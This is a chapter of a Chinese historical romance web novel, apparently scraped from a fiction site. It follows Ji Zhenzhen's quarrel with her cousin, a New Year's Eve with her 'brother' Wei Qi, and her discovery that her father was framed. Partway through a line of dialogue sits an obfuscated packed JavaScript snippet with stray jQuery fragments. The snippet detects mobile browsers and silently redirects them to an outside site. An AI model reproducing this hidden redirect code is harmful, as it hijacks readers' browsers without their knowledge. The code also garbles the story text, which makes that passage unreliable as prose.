8. 第 8 章

作品:《兄长与她

    雪窸窸窣窣的落下,将繁华的金陵城变作一片莹白的琉璃世界。


    季蓁蓁察觉到,从桥上下来,阮青书就有些闷闷不乐,话也变得少了。


    “大哥,你怎么了?”她抬头小心翼翼的问。


    阮青书面色苍白的一笑,并未作答。


    三人往阮府走去,一路无话。


    “好啊,大哥,你宁愿带着这野丫头出去逛,都不陪我去!我还是你亲妹妹么!”


    阮明蕙叉着手立在假山旁,气的眉头紧紧拧在一起,本来还算秀气的小脸挤成了张苦瓜脸。


    “你擅自离席,也没问过我的意见吧?明蕙,我平日是不是太纵着你了?”阮青书声音沉下来,这是他发怒的征兆。


    阮明蕙登时没了气性。


    可大哥总不能一直护着这野丫头。


    “季蓁蓁。”


    阮青书走后,阮明蕙一直跟在季蓁蓁和魏七两人身后,跟的不远不近,直到走到了平芜苑,才出声叫住她。


    “……有什么事吗?”


    季蓁蓁只觉得她这个二姐阴魂不散,走哪都有她,但还是耐着性子问道。


    阮明蕙挑眉一笑,居高临下的走过来,她比季蓁蓁高半个头,从气势上就压过了她。


    “我是来知会你,古语有云,淫奔为贱。你娘亲她私会外男,又趁夜私逃,桩桩件件,皆为理法不容,有辱我阮家门楣。如今她死了,也算死有余辜。你怎么还有脸回来?”


    她说出来的话仿佛淬了毒。


    “二姐姐,我姑且这样叫你。我母亲她已不在人世,你羞辱我没关系,但请你不要诋毁一个过世的人。我母亲她聪慧,善良,在我心里,她是世上最美好的女子。”


    季蓁蓁的杏眸里又聚起了雾气,也许她不该来这里,金陵本就不是她的家,她的家在盛京城的安巷。


    那里,虽然破旧简陋,却让她感觉温暖。


    “哈哈哈,季蓁蓁,我看你是猪油蒙了心,将《女诫》忘的是一干二净!我今天就替祖母好好教教你,什么才是真正的尊卑贵贱!”


    看到季蓁蓁这副柔弱可怜的模样,阮明蕙忍不住扬起了手,可还没来得及落下去,手就被人死死掐住了。


    季蓁蓁还欲同她辩驳,一旁站着的魏七眼皮恹恹的掀了下,“蓁蓁,莫要同她废话。”


    说完,便卸了力,阮明蕙生生后退几步,跌坐在了地上。


    她的手腕上出现一道深深的青紫痕迹。


    她恨恨的看着他们离去的背影。


    回到房间,蓁蓁再也忍不住,低声抽泣起来。她趴在桌案上,肩膀微微抽动。纤瘦,无助。


    她连哭都是这般小心翼翼。


    魏七安静地站在她身后,不知该怎么安慰她,良久,才伸出手轻轻拍了拍她的臂膀。


    蓁蓁抬起头,睁着一双泪眼朦胧的眼,问他,“兄长,你为什么不让我念《女诫》?”


    “都是些害人心智的东西。”


    “可世人都认为是对的。”


    “世人认为是对的,就一定是对的么?蓁蓁,你是信我,还是信所谓的世人?”


    “我信兄长。”蓁蓁闷闷的道。


    魏七抬手为她理了理鬓发,两道身影映在糊了素纸的花窗上,像隔绝了世间所有的喧嚣。


    大雪一直持续到除夕的晚上。


    老夫人今日精神头不错,看着几个小辈们聚在一起放烟花,心里也高兴。


    “囡囡,来,这是给你的压岁钱,拿着,去买些好吃的好玩的。”


    玲琅是老夫人孟氏最疼爱的小女儿,当初要不是已故的阮老爷极力反对玲琅嫁给个佃户生的穷酸秀才,她也不至将玲琅逼成那样……


    事到如今,斯人已逝,她也只能将对玲琅的愧疚弥补在蓁丫头身上。


    “谢谢祖母!祖母新年快乐!”


    蓁蓁甜甜的道。


    她注意到,阮府的小辈们,甚至就连下人都在老夫人那里挨个领了红包。


    可祖母仿佛唯独忘了兄长。


    兄长一人站在廊下,长身玉立,与喧闹的人群格格不入。四角花灯将他的身影拉的老长。月白长衫洗的发灰,薄的几乎能透出他清瘦的腰腹。


    他神情萧索冷寂,像九天上遗世而独立的仙人,仿佛下一瞬就会消失不见。


    蓁蓁看的喉头发紧,鬼迷心窍的朝他走过去。


    “兄长,伸手。”


    兄长的乌发上落了雪,眉目清冷,依言伸出手来。


    蓁蓁在他手心里放了一个大大的红包。祖母给的压岁钱,她分给了他一半。


    “新年快乐,兄长!”


    “蓁蓁,新年快乐。”他薄唇漾起清浅笑意,眼里有了些许温度。


    “我们去放烟花吧!”蓁蓁扯了扯兄长的衣袖。


    “好。”


    她不敢点,看着兄长将烟花点燃。


    雪地上瞬间绽开万点萤火,点亮这一方天地,绚烂又美好。


    “兄长,往后的每一年,你都会同我一起过嘛?”蓁蓁仰起头问他。


    往后?想到自己要做的事,魏七沉默了下,可看到蓁蓁眼里的期待,他最终还是点了点头。


    得到兄长肯定的答复,蓁蓁开心的笑了。


    魏七有轻微的失神。


    火光映照着两人的面庞,将这一刻定格。


    “翻过年,明丫头虚岁就满十六了。青书,你这个做兄长的,得早些为妹妹的终身大事做打算。明丫头性子顽劣,身边得有个知冷知热的人,我瞧着府尹家的大公子就不错,性子沉稳,模样也俊俏。沈家和我阮家又是世交,若没有这层关系,沈家的门楣明丫头可高攀不上。”


    “我也问了明丫头,她嘴上虽不认,脸却红了。这么多年,我没见她为哪个男子红过脸。她心里定是喜欢的。”


    到底是从小看着长大的,老夫人虽说也疼爱蓁丫头,可真要是有什么好,第一个想到的还是明丫头。


    阮青书认同的点了点头,“清和的性子我是清楚的,温润儒雅,喜读诗书。若明蕙能得他亲眼,倒不失为一桩好事。”


    沈清和在自家府邸用完晚饭,阮青书便派人去邀他来阮府赏雪,放烟花。


    他得了空便过来了。


    他同阮明蕙在一块,可他的注意分明不在此处。


    那姑娘的眼睫上沾满了雪沫,小脸红扑扑的,一颦一笑,鲜活生动。


    这姑娘,他从前在阮府怎么从未见过?


    直到阮明蕙跟他说了句什么,他才收回神思,同她说起话来。


    夜已深,众人各自散去。


    隔壁灯还亮着,蓁蓁睡不着,去敲了敲门。


    兄长还在挑灯夜读。


    “蓁蓁,睡不着么?”他揉了揉眉心,眉间似有些疲倦。


    “嗯,想听兄长讲故事。兄长若是困了,便先歇下吧,我明日再来。”她准备退出去。


    “……我不困。”


    蓁蓁听了,笑眯眯的坐在了他身旁,用手支着脑袋,歪着头认真的听他讲故事。


    “所以……这就是东坡肉的由来嘛?怎么办,兄长,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263318|198066||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我有点饿了……”


    魏七失笑。


    兄长很少笑,可他今日一连笑了两次,他笑起来的时候,细长的眼里深藏着温柔,连他自己都未能发觉。


    那天夜里,蓁蓁连做梦都是炖的香甜软烂的东坡肉。


    第二天一早,蓁蓁就拉着魏七去了金陵最负盛名的酒楼,楼外楼,东坡肉是这家酒楼的招牌菜。


    这还是两人第一次下馆子。祖母给的压岁钱,足够他们在这里搓一顿了。


    二楼临窗的地方,能看到底下潺潺流淌的秦淮河,水深清澈,不时有游船经过。两岸白墙青瓦,市井嘈杂,充满了烟火气。


    蓁蓁拄着脑袋,看的有些出神。


    “这姜老贼也忒不厚道了!”


    “哼,居然把我发配到这种地方!”


    “替他做事,他却过河拆桥,哪有这样的道理?”


    等等,这声音好生熟悉。


    蓁蓁回头瞥了一眼,便赶忙收回了目光。


    这人是父亲的旧识,宁康伯伯。


    他喝的醉醺醺的,显然没注意到她,嘴里念叨着胡话。


    他口中的姜老贼是谁呢?


    蓁蓁心中疑惑。


    身后跟着的人推搡了他一下,冷声斥道,“你小声些!”


    “怕什么?他季家的人早死光了,还能从地里爬起来不成?”


    蓁蓁浑身的血液瞬间凝固。


    她一直以为,父亲是真的做错了什么,惹得天子龙颜大怒,才获此下场,却没想到,是被奸人陷害!


    宁康肯定参与其中,至于他口中的姜老贼,这朝堂上姓姜,又和父亲是死对头的,只有左丞相姜无忧了!


    她要去杀了他们!


    手却被兄长死死握住。


    “……兄长?”


    季蓁蓁难以置信的看着他,杏眸睁得老大。


    她想将手挣脱出来,可他的手力气之大,她的手腕上已经出现一道浅浅的红痕。


    胸腔剧烈起伏,连呼吸都急促起来。她眼中的不甘与恨意,几乎就要化为实质。


    “松手!”


    她剧烈挣扎起来,想通过全身的力气来与他对抗,却陷入更深的桎梏。


    他将她圈禁在了怀中,动弹不得。


    “兄长,别逼我恨你!”


    蓁蓁眼睛里蓄满了泪,通红的眸,雾气弥漫,像江南烟雨朦胧,看的人心颤。


    “蓁蓁,你不能去。”他语气冷硬。


    没来得及跟她解释,雅间里的人听到了外头的动静,推门出来察看,从这个角度,定是能看清楚蓁蓁的脸的。


    情急之下,魏七侧着低下头,额头低着她的额角,鼻尖触碰到她被泪水沾湿的脸颊,将唇瓣覆了上去,辗转研磨……松木冷香的味道,就这样尽数灌进她口中,让她无处可躲。


    她只能用力咬他的唇瓣,血腥味蔓延至口腔,他仍是不松口。


    “嚯,真是世风日下!”宁康冷嗤一声,便关上了门。


    “你干什么!”


    蓁蓁用力推开他,樱唇湿漉漉的,眼尾泛红,鬓发散落下来,微微有些喘。


    整个人像是被雨水淋透了的春花,摇摇欲坠。


    见她不再冲动,魏七才沉着眼松开了她。


    蓁蓁不想理他,头也不回的往楼下走。


    兄长怎么可以那样对她?


    她用衣袖使劲擦了擦濡湿的唇瓣。


    越走越快。


    魏七在她身后不远处,不紧不慢的跟着。


    眸色压抑晦暗。